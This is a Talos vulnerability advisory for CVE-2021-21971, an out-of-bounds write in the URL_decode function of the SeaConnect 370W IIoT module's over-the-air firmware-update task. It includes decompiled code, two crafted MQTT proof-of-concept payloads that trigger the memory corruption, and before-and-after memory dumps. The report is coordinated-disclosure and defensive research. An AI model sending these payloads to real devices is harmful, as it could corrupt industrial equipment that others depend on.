Talos Vulnerability Report

TALOS-2021-1397

Sealevel Systems, Inc. SeaConnect 370W URL_decode out-of-bounds write vulnerability

FEBRUARY 1, 2022

CVE NUMBER

CVE-2021-21971

Summary

An out-of-bounds write vulnerability exists in the URL_decode functionality of Sealevel Systems, Inc. SeaConnect 370W v1.3.34. A specially-crafted MQTT payload can lead to an out-of-bounds write. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.

Tested Versions

Sealevel Systems, Inc. SeaConnect 370W v1.3.34

Product URLs

SeaConnect 370W - https://www.sealevel.com/product/370w-a-wifi-to-form-c-relays-digital-inputs-a-d-inputs-and-1-wire-bus-seaconnect-multifunction-io-edge-module-powered-by-seacloud/

CVSSv3 Score

3.7 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-787 - Out-of-bounds Write

Details

The SeaConnect 370W is a Wi-Fi connected IIoT device offering programmable cloud access and control of digital and analog I/O and a 1-wire bus.

This device offers remote control via several means including MQTT, Modbus TCP and a manufacturer-specific protocol named “SeaMAX API”.

The device is built on top of the TI CC3200 MCU with built-in Wi-Fi capabilities.

The SeaConnect 370W implements an over-the-air firmware update mechanism which is controlled remotely from the “Sealevel SeaCloud” via an MQTTS connection. When a device comes online, it connects to the SeaCloud MQTTS broker and transmits its current firmware version. When an outdated firmware is detected, a message is published to that device’s command channel detailing the FTP(S) URL containing the new image and the destination filename of the new image.

A specially-crafted MQTT message can lead to an out-of-bounds write due to improperly perfomed URL decoding.

The OTA update task is responsible for updating the firmware, if a new one is available. After a certain MQTT message is sent, the downloading process begins. The message that starts the downloading process is in the following form:

```
{
    "name": "u-download",
    "payload": "{
                \"uri\": \"<uri to firmware image>\",
                \"dest\": \"<local filename to write>\",
                \"crc\": \"<crc>\"
                }"
}
```

The `uri` is an FTP(S) URI. The downloading process revolves around FTP(S). The `uri` is in the following format:

```
ftp://<username>:<password>@<ip>:<port>/<filepath>
```

The OTA task, before performing any download-related operation, parses the `uri` into a struct, from now on `FTP_struct`. The struct is the following:

```
struct FTP_struct{
    char            hostname[32];
    uint32_t    control_port;
    char            secure;
    char            username[48];
    char            password[16];
    char            filepath[64];
    byte        null_byte;
    char        *filename;
};
```

The `username` and `password` field can be URL encoded. For this reason both these fields are parsed using the function `URL_decode`:

```
void URL_decode(char *parsed_string)

{
    size_t str_len;
    size_t size_after_url_byte;
    char *end_of_parsed_string;
    dword in_r1;
    dword local_20;
    char temp_string [2];
    char *%_location;

    local_20 = in_r1;
    str_len = strlen(parsed_string);
    %_location = parsed_string;
    while (%_location = strchr(%_location,L'%'), %_location != (char *)0x0) {
        strncpy(temp_string,%_location + 1,2);
        local_20 = 0;
        sscanf(temp_string,a02x_0,&local_20);
        *%_location = (char)local_20;
        size_after_url_byte = strlen(%_location + 3);                                 [1]
        memcpy_wrap(%_location + 1,%_location + 3,size_after_url_byte);               [2]
        %_location = %_location + 1;
        end_of_parsed_string = parsed_string + str_len;
        end_of_parsed_string[-2] = '\0';
        str_len = str_len - 2;
        end_of_parsed_string[-1] = '\0';
    }
    return;
}
```

This function locates the character `%`, performs a `sscanf` over the following two characters and converts the URL encoded byte, three byte, into a single one. After this operation the function calculates the length of the string after the URL encoded byte, and then moves it two bytes to the left, in order to fill the two empty bytes created during the conversion.

The `URL_decode` assumes, erroneously, that after the `%` there are always at least three bytes of string or two bytes and a null terminator. Because this is not always true what can happen is the following: if the `%` character is the last or second-to-last character before the null terminator, the `%_location + 3` calculation at `[1]` would result in skipping the null terminator and performing the `strlen` to what follows the null terminator. This will result in involving in the `memcpy_wrap` memory outside the `parsed_string` variable.

For example if the MQTT message is:

```
{
    "name": "u-download",
    "payload": "{
        \"uri\":\"ftp://test:AAAAAAAAAAAAAAAA@<ip>:<port>/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%\",
        \"dest\":\"AAAA\",
        \"crc\":\"41414141\"
        }"
}
```

Following is a portion of memory of the `FTP_struct` struct starting from the `username` field. The following memory shows the `FTP_struct` state before the `URL_decode` function is used on the `password` field:

```
username:
20032bf7: 74 65 73 74 00 00 00 00 00 00 00 00 00 00 00 00  test............
20032c07: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
20032c17: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

password:
20032c27: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

filepath:
20032c37: 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  /AAAAAAAAAAAAAAA
20032c47: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
20032c57: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
20032c67: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 25  AAAAAAAAAAAAAAA%

null_byte and filename:
20032c77: 00 38 2c 03 20 68 00 00 20 00 00 00 00 00 00 00  .8,. h.. .......
```

And after the `URL_decode` of the password:

```
username:
20032bf7: 74 65 73 74 00 00 00 00 00 00 00 00 00 00 00 00  test............
20032c07: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
20032c17: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

password:
20032c27: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

filepath:
20032c37: 2f 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  /AAAAAAAAAAAAAAA
20032c47: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
20032c57: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
20032c67: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00  AAAAAAAAAAAAAA..

null_byte and filename:
20032c77: 2c 03 20 68 20 68 00 00 20 00 00 00 00 00 00 00  ,. h h.. .......
```

The `null_byte` and the `filename` fields were overwritten. In this example we exploited the bug that the presence of a null terminator is not enforced in the `password` field, but it would have been possible to obtain similar results without exploiting the null terminator bug using the following payload:

```
{
    "name": "u-download",
    "payload": "{
                \"uri\":\"ftp://test:AAAAAAAAAAAAAA%@<ip>:<port>/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%\",
                \"dest\":\"AAAA\",
                \"crc\":\"41414141\"
                }"
}
```


Timeline

2021-10-21 - Initial vendor contact

2021-10-26 - Vendor disclosure

2022-02-01 - Public Release

CREDIT

Discovered by Francesco Benvenuto and Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1396

NEXT REPORT

TALOS-2021-1406
